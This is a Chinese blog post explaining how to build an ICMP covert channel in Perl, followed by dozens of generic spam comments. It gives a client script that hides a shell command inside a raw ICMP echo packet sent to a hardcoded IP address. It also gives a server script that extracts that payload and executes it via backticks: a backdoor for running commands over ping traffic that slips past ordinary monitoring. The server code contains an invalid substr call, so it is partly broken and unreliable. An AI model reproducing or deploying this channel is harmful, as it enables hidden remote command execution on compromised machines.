近期评论

SOCK_RAW构造ICMP隐蔽通道

客户端

参考上一节,用SOCK_RAW构成ICMP请求包,由于ICMP数据包结构只是RFC规定的格式,完全可以打破,只需要在服务端也运行一个perl脚步,针对客户端的格式数据进行处理即可实现利用icmp通信,利用发送命令,做任何操作等。

另外构造任何格式的数据包,跟校验和没有关系。

注意下面脚本中的pack参数a*表示不限字节长度,全部包含进来。

另外由于IP是无连接的协议,服务端可以从缓冲区中读取数据,但不能立即写入数据回传给客户端。当客户端发送数据包后,服务器几乎立即响应了,这个过程是协议实现,没有通过Sokcet实现。所以这个办法只能实现隐蔽通道。除非服务端和客户端都可以直接互访,中间没有动态地址转换设备

############################################################

#!/usr/bin/perl

# file:   Socket_ping.pl

# useage: Socket_ping.pl [ip]

# Echo clent,TCP version

 

#use strict;

use Socket;

 

my $ip_remote=sockaddr_in(0, inet_aton(‘218.244.140.198’));

socket(SOCK,AF_INET,SOCK_RAW,getprotobyname(‘icmp’));

 

my $checksum=0;

my $pid=$$;

my $SEQ=1;

my $ICMP_TYPE=8;

my $cmd = “ifconfig”;

my $msg = pack(“C2 n3 a*”,$ICMP_TYPE,0,0,$pid,$SEQ,$cmd);

$checksum=checksum($msg);

$msg = pack(“C2 n3 a*”,$ICMP_TYPE,0,$checksum,$pid,$SEQ,$cmd);

 

eval {send(SOCK,$msg,0,$ip_remote)||die “error sending:$! \n”;};

die $@ if $@;

 

close SOCK;

 

sub checksum {

my ($msg) = @_;

my ($len_msg, $num_short, $short, $chk);

$len_msg = length($msg);

$num_short = int($len_msg / 2);

$chk = 0;

foreach $short (unpack(“n$num_short”, $msg)){

$chk += $short;

}

$chk +=(unpack(“C”,substr($msg, $len_msg-1,1))<<8) if $len_msg% 2;

$chk = ($chk >> 16) + ($chk & 0xffff); # Fold high into low

return(~(($chk >> 16) + $chk) & 0xffff); # Again and complement

}

############################################################

 

服务端

服务端只需要从缓冲区中取对应的数据,并还原出来,就可以得到客户端发送过来的数据了。

这真是一件巧妙有趣的事情!

############################################################

#!/usr/bin/perl

# file:   Socket_ping.pl

# useage: Socket_ping.pl [ip]

# Echo clent,TCP version

 

use strict;

use Socket;

 

socket(SOCK,AF_INET,SOCK_RAW,getprotobyname(‘icmp’));

 

my $buff;

$SIG{ALRM} = sub {print “time out to recv!\n”};

alarm 10;

recv(SOCK,$buff,1500,0);

alarm 0;

my($icmp_type,$icmp_subcomcode,$i_cksum,$icmp_pid,$icmp_seq,$cmd) = unpack(“C2 n3 a*”,substr($buff,20,*));

 

my $result = `$cmd`;

 

close SOCK;

############################################################

92 Responses to “SOCK_RAW构造ICMP隐蔽通道”

  • I always spent my half an hour to read this weblog’s posts all the time along with a cup
    of coffee.

  • Hello everyone, it’s my first pay a quick visit at
    this site, and post is truly fruitful in support of me, keep up posting these
    types of articles or reviews.

  • Remarkable things here. I am very happy to see your article.

    Thanks so much and I’m having a look forward
    to contact you. Will you kindly drop me a mail?

  • Highly energetic post, I enjoyed that bit. Will there be a part 2?

  • Excellent way of describing, and good post to take information about my presentation subject, which i
    am going to convey in university.

  • When someone writes an paragraph he/she maintains the plan of a user in his/her
    brain that how a user can understand it. Therefore
    that’s why this piece of writing is outstdanding. Thanks!

  • Great blog! Is your theme custom made or did you download it from somewhere?

    A design like yours with a few simple tweeks would really
    make my blog jump out. Please let me know where you got your theme.
    Many thanks

  • You should take part in a contest for one of the finest blogs on the
    web. I will highly recommend this website!

  • Nannette说道:

    Hello there I am so delighted I found your webpage, I really
    found you by accident, while I was researching on Aol for something else, Anyhow I am here now
    and would just like to say thank you for a incredible post and a all round thrilling blog (I also love the theme/design), I don’t have time
    to look over it all at the moment but I have bookmarked it and also added your RSS feeds, so when I
    have time I will be back to read more, Please
    do keep up the great b.

  • travel companies说道:

    You really make it seem so easy with your presentation but I find this matter to be really something which I think I would never understand.
    It seems too complex and very broad for me. I’m looking forward for your
    next post, I will try to get the hang of it!

  • We’re a group of volunteers and opening a new
    scheme in our community. Your website provided
    us with valuable information to work on. You
    have done a formidable job and our entire community will
    be grateful to you.

  • I couldn’t refrain from commenting. Exceptionally well written!

  • banks offer说道:

    constantly i used to read smaller posts that also clear their motive,
    and that is also happening with this post which I am reading now.

  • steal important说道:

    Hi there, I read your blog like every week. Your writing
    style is awesome, keep it up!

  • Hi there, You have done a fantastic job. I will certainly digg it
    and personally recommend to my friends. I am confident
    they’ll be benefited from this website.

  • trade45.ru说道:

    I need to to thank you for this good read!! I certainly loved every bit of it.
    I’ve got you book marked to check out new things you post…

  • Fine way of telling, and nice article to take data concerning
    my presentation subject, which i am going to deliver in college.

  • www.hgdspt.com说道:

    These are in fact great ideas in about blogging. You have touched some good things here.
    Any way keep up wrinting.

  • With havin so much written content do you ever
    run into any issues of plagorism or copyright violation? My website has a lot
    of exclusive content I’ve either written myself or
    outsourced but it appears a lot of it is popping it up all over the web without my
    authorization. Do you know any solutions to help prevent content from
    being ripped off? I’d genuinely appreciate it.

  • Hello There. I found your blog using msn. This is a very well written article.
    I will make sure to bookmark it and return to read more of your useful info.

    Thanks for the post. I’ll certainly comeback.

  • Excellent article. Keep posting such kind of info on your site.
    Im really impressed by your blog.
    Hello there, You’ve done an excellent job. I will certainly digg it and for my part suggest to my friends.
    I’m sure they’ll be benefited from this website.

  • Hi fantastic website! Does running a blog similar to this take a lot
    of work? I have very little expertise in computer programming
    however I was hoping to start my own blog soon. Anyways, if you have any
    recommendations or techniques for new blog owners please share.
    I understand this is off subject but I simply needed to
    ask. Cheers!

  • suit tailored说道:

    Hi, for all time i used to check blog posts here early in the break
    of day, since i love to learn more and more.

  • Corine说道:

    Wow, this post is good, my younger sister is analyzing these things,
    thus I am going to inform her.

  • gadgetgirl.ru说道:

    Having read this I believed it was extremely enlightening.
    I appreciate you taking the time and energy to put this short article
    together. I once again find myself spending way too much
    time both reading and commenting. But so what, it was still worthwhile!

  • Thanks for sharing your thoughts on computer diagnostics. Regards

  • Hi there, yes this piece of writing is really fastidious and I have learned lot
    of things from it concerning blogging. thanks.

  • No matter if some one searches for his essential thing,
    so he/she wants to be available that in detail, thus that
    thing is maintained over here.

  • Thanks for the marvelous posting! I certainly enjoyed reading it, you are a great author.I will be sure
    to bookmark your blog and may come back later on. I want to encourage yourself to
    continue your great writing, have a nice holiday weekend!

  • Awesome blog! Is your theme custom made or did
    you download it from somewhere? A theme like
    yours with a few simple adjustements would really
    make my blog jump out. Please let me know where you got your theme.
    Kudos

  • Alejandra说道:

    I’m not sure exactly why but this site is loading
    incredibly slow for me. Is anyone else having this problem
    or is it a issue on my end? I’ll check back later on and see if the problem still
    exists.

  • Please let me know if you’re looking for a article author for your site.
    You have some really good articles and I feel I would be a good asset.
    If you ever want to take some of the load off, I’d really like
    to write some material for your blog in exchange for a link back to
    mine. Please blast me an email if interested. Many thanks!

  • wisdomite.in说道:

    I relish, lead to I found just what I used to be having a look for.
    You have ended my four day long hunt! God Bless you man. Have a great day.
    Bye

  • Thank you for the auspicious writeup. It in fact
    was a amusement account it. Look advanced to more added agreeable
    from you! By the way, how can we communicate?

  • I do not even understand how I ended up here, however I thought this submit was
    great. I do not know who you might be but definitely you are going to a famous blogger in case you are
    not already. Cheers!

  • It’s very straightforward to find out any matter on web as compared to books, as I found this article
    at this site.

  • make money说道:

    Hey very nice blog!

  • money saved说道:

    Very nice post. I just stumbled upon your weblog and wished to mention that I’ve truly enjoyed browsing
    your blog posts. After all I will be subscribing to your feed and I’m hoping you write again soon!

  • Hi there to every one, because I am genuinely eager of reading this web site’s post to be
    updated regularly. It consists of fastidious material.

  • I’m gone to convey my little brother, that he should also pay a quick visit this blog on regular
    basis to take updated from latest information.

  • Great blog! Is your theme custom made or did you
    download it from somewhere? A design like yours with a few simple adjustements would really
    make my blog shine. Please let me know where you got your
    theme. Thanks

  • Hello, i read your blog from time to time and i own a similar one and i was just curious if you
    get a lot of spam comments? If so how do you reduce it, any plugin or anything you can suggest?

    I get so much lately it’s driving me insane so any support
    is very much appreciated.

  • Mikki说道:

    What’s Going down i am new to this, I stumbled upon this
    I’ve found It positively helpful and it has aided
    me out loads. I hope to give a contribution & help other users like its helped
    me. Good job.

  • Judy说道:

    This is a topic that is close to my heart… Thank you! Exactly
    where are your contact details though?

  • Ahaa, its good discussion concerning this article at this
    place at this web site, I have read all that, so at this time me also commenting at this place.

  • Hi there superb website! Does running a blog like this
    take a large amount of work? I have very little understanding of computer programming but
    I had been hoping to start my own blog soon. Anyway, should you have any ideas or techniques for new
    blog owners please share. I understand this is off subject nevertheless I simply
    had to ask. Many thanks!

  • best security说道:

    This is a good tip especially to those new to the blogosphere.
    Short but very accurate information… Thank you for sharing this
    one. A must read post!

  • Lizzie说道:

    Its like you read my mind! You seem to know a lot about this, like
    you wrote the book in it or something. I think that you can do with a few pics to drive the message home a bit, but instead of that, this is great blog.
    A fantastic read. I’ll certainly be back.

  • Write more, thats all I have to say. Literally, it
    seems as though you relied on the video to make your point.
    You obviously know what youre talking about, why waste your intelligence on just posting videos to your site when you could be
    giving us something informative to read?

  • Hi to every one, for the reason that I am actually keen of reading this webpage’s post to be updated daily.
    It contains good stuff.

  • Heya this is kinda of off topic but I was wondering if blogs use WYSIWYG editors or if you have to manually code
    with HTML. I’m starting a blog soon but have no coding expertise so I wanted to get
    advice from someone with experience. Any help would be enormously appreciated!

  • debit card说道:

    That is really fascinating, You are an excessively professional blogger.
    I have joined your rss feed and look forward to in the hunt
    for extra of your great post. Additionally, I’ve shared your
    web site in my social networks

  • ask.brant.us说道:

    Hello there! This is my first visit to your blog! We are a
    collection of volunteers and starting a new project in a community
    in the same niche. Your blog provided us valuable information to work on. You have done a outstanding job!

  • I pay a quick visit every day some websites and information sites to read articles,
    except this blog offers feature based articles.

  • Ariane Slinger说道:

    If you desire to grow your familiarity just keep visiting this website and be updated with the
    latest news update posted here.

  • Does your site have a contact page? I’m having problems locating it but, I’d like to send
    you an email. I’ve got some suggestions for your blog you might be interested in hearing.
    Either way, great blog and I look forward to seeing it expand over time.

  • It’s fantastic that you are getting thoughts from this article as well as from our discussion made at this place.

  • Jeanne说道:

    Good site you have got here.. It’s difficult to find quality writing like yours nowadays.
    I seriously appreciate individuals like you! Take care!!

  • Shannan说道:

    My brother suggested I might like this web site. He was entirely right.
    This post truly made my day. You cann’t imagine simply how much
    time I had spent for this info! Thanks!

  • Imogene说道:

    I could not resist commenting. Exceptionally well written!

  • Please let me know if you’re looking for a article writer
    for your blog. You have some really great articles and I
    feel I would be a good asset. If you ever
    want to take some of the load off, I’d really like to write some content
    for your blog in exchange for a link back to mine. Please send me an email if
    interested. Many thanks!

  • Consuelo说道:

    Every weekend i used to go to see this web page, for the reason that
    i want enjoyment, since this this web site conations truly good funny information too.

  • http://zf20.cn/说道:

    Inspiring story there. What occurred after? Thanks!

  • Hello, I do believe your blog might be having web browser compatibility problems.
    When I take a look at your blog in Safari, it looks fine however, when opening in I.E., it has some overlapping issues.
    I simply wanted to provide you with a quick heads up!
    Besides that, great blog!

  • Halina说道:

    Hey There. I found your weblog using msn. That is
    an extremely smartly written article. I will make sure to bookmark it and come back
    to learn more of your helpful info. Thank you for
    the post. I’ll definitely return.

  • blixpower.ru说道:

    Hi there just wanted to give you a quick heads up. The text in your post seem to be running off the screen in Ie.

    I’m not sure if this is a formatting issue or something to do with internet browser
    compatibility but I figured I’d post to let you know.
    The design and style look great though!
    Hope you get the issue fixed soon. Kudos

  • It’s very easy to find out any matter on net as compared to textbooks,
    as I found this piece of writing at this web site.

  • music player说道:

    Heya just wanted to give you a brief heads up and let you know a few of
    the pictures aren’t loading correctly. I’m not sure why
    but I think its a linking issue. I’ve tried it in two different internet browsers and both show
    the same outcome.

  • It is the best time to make some plans for the longer term and it is time
    to be happy. I have read this submit and if I may just I wish to recommend
    you few attention-grabbing issues or tips. Maybe you could write next articles regarding this article.
    I want to learn even more issues about it!

  • Elizbeth说道:

    That is a really good tip especially to those fresh to the blogosphere.
    Short but very precise info… Thanks for sharing this one.
    A must read post!

  • Victorina说道:

    Thanks for finally talking about > SOCK_RAW构造ICMP隐蔽通道 < Loved it!

  • Marilyn说道:

    Hey there, I think your site might be having browser compatibility issues.
    When I look at your blog in Safari, it looks fine but when opening in Internet Explorer, it has some overlapping.
    I just wanted to give you a quick heads up! Other then that, wonderful
    blog!

  • trade45.ru说道:

    My family all the time say that I am wasting my time here at web,
    except I know I am getting experience all the time by
    reading such nice posts.

  • Adela说道:

    Pretty! This was an extremely wonderful article.
    Thank you for providing this information.

  • I was suggested this blog through my cousin. I’m not positive whether or
    not this post is written via him as no one else recognise such designated
    about my trouble. You are incredible! Thanks!

  • www.pygz888.com说道:

    It is really a great and useful piece of information. I am satisfied that you just shared this helpful information with us.
    Please stay us up to date like this. Thank you for sharing.

  • First of all I want to say terrific blog! I had a quick
    question in which I’d like to ask if you don’t mind.
    I was curious to know how you center yourself and clear your head before writing.
    I’ve had a tough time clearing my mind in getting my thoughts out.
    I truly do enjoy writing however it just seems like the first 10 to 15
    minutes tend to be lost just trying to figure out how to begin.
    Any ideas or tips? Kudos!

  • Georges Sadala说道:

    I visited many web sites however the audio quality for audio songs current at this
    site is actually superb.

  • Currently it appears like Drupal is the top blogging platform out there right now.

    (from what I’ve read) Is that what you are using on your blog?

  • online business说道:

    It is appropriate time to make some plans for the future and it’s time to be happy.
    I have read this post and if I could I desire to suggest
    you some interesting things or tips. Perhaps you can write next articles referring to this article.
    I wish to read more things about it!

  • 17playgamer.com说道:

    Yes! Finally someone writes about who does a phone
    number belong to.

  • pt.wikipedia.org说道:

    Excellent website you have here but I was curious if you knew of any user discussion forums
    that cover the same topics talked about in this article?
    I’d really like to be a part of group where I can get comments from other knowledgeable people that share the same interest.
    If you have any suggestions, please let me know. Appreciate it!

  • Eloisa说道:

    Hi, Neat post. There is an issue with your web site in web explorer, could check this?
    IE still is the market chief and a big portion of folks will pass over your great writing
    because of this problem.

  • Daniel说道:

    magnificent put up, very informative. I’m wondering why the opposite
    experts of this sector don’t understand this.

    You should proceed your writing. I’m confident,
    you’ve a huge readers’ base already!

  • Hey there! I’ve been following your weblog for some time now and
    finally got the courage to go ahead and give you a shout out
    from Huffman Texas! Just wanted to mention keep
    up the good job!

  • Sharon说道:

    Admiring the hard work you put into your website and detailed information you provide.

    It’s nice to come across a blog every once in a while that isn’t the same out of date rehashed material.

    Fantastic read! I’ve saved your site and I’m adding your RSS feeds to my Google account.

  • Hello, Neat post. There is a problem together with your website in internet explorer,
    could check this? IE nonetheless is the market leader and a huge part
    of other folks will leave out your fantastic writing due to this problem.

  • irish golf说道:

    Just wish to say your article is as amazing. The clarity
    in your post is simply excellent and i can assume you’re an expert on this subject.
    Fine with your permission allow me to grab your RSS feed to keep updated with forthcoming
    post. Thanks a million and please carry on the enjoyable work.

  • Wow, that’s what I was seeking for, what a data!
    existing here at this weblog, thanks admin of this web site.

  • Jeremiah说道:

    Heya! I just wanted to ask if you ever have any
    trouble with hackers? My last blog (wordpress)
    was hacked and I ended up losing months of hard work
    due to no data backup. Do you have any solutions to protect against hackers?

  • Elvira Lipson说道:

    I?¦ll right away grab your rss feed as I can not find your e-mail subscription hyperlink or newsletter service. Do you’ve any? Please allow me recognise so that I could subscribe. Thanks.

  • heart rhythms说道:

    Hi to every body, it’s my first go to see of this
    weblog; this web site carries awesome and truly fine stuff for readers.

Leave a Reply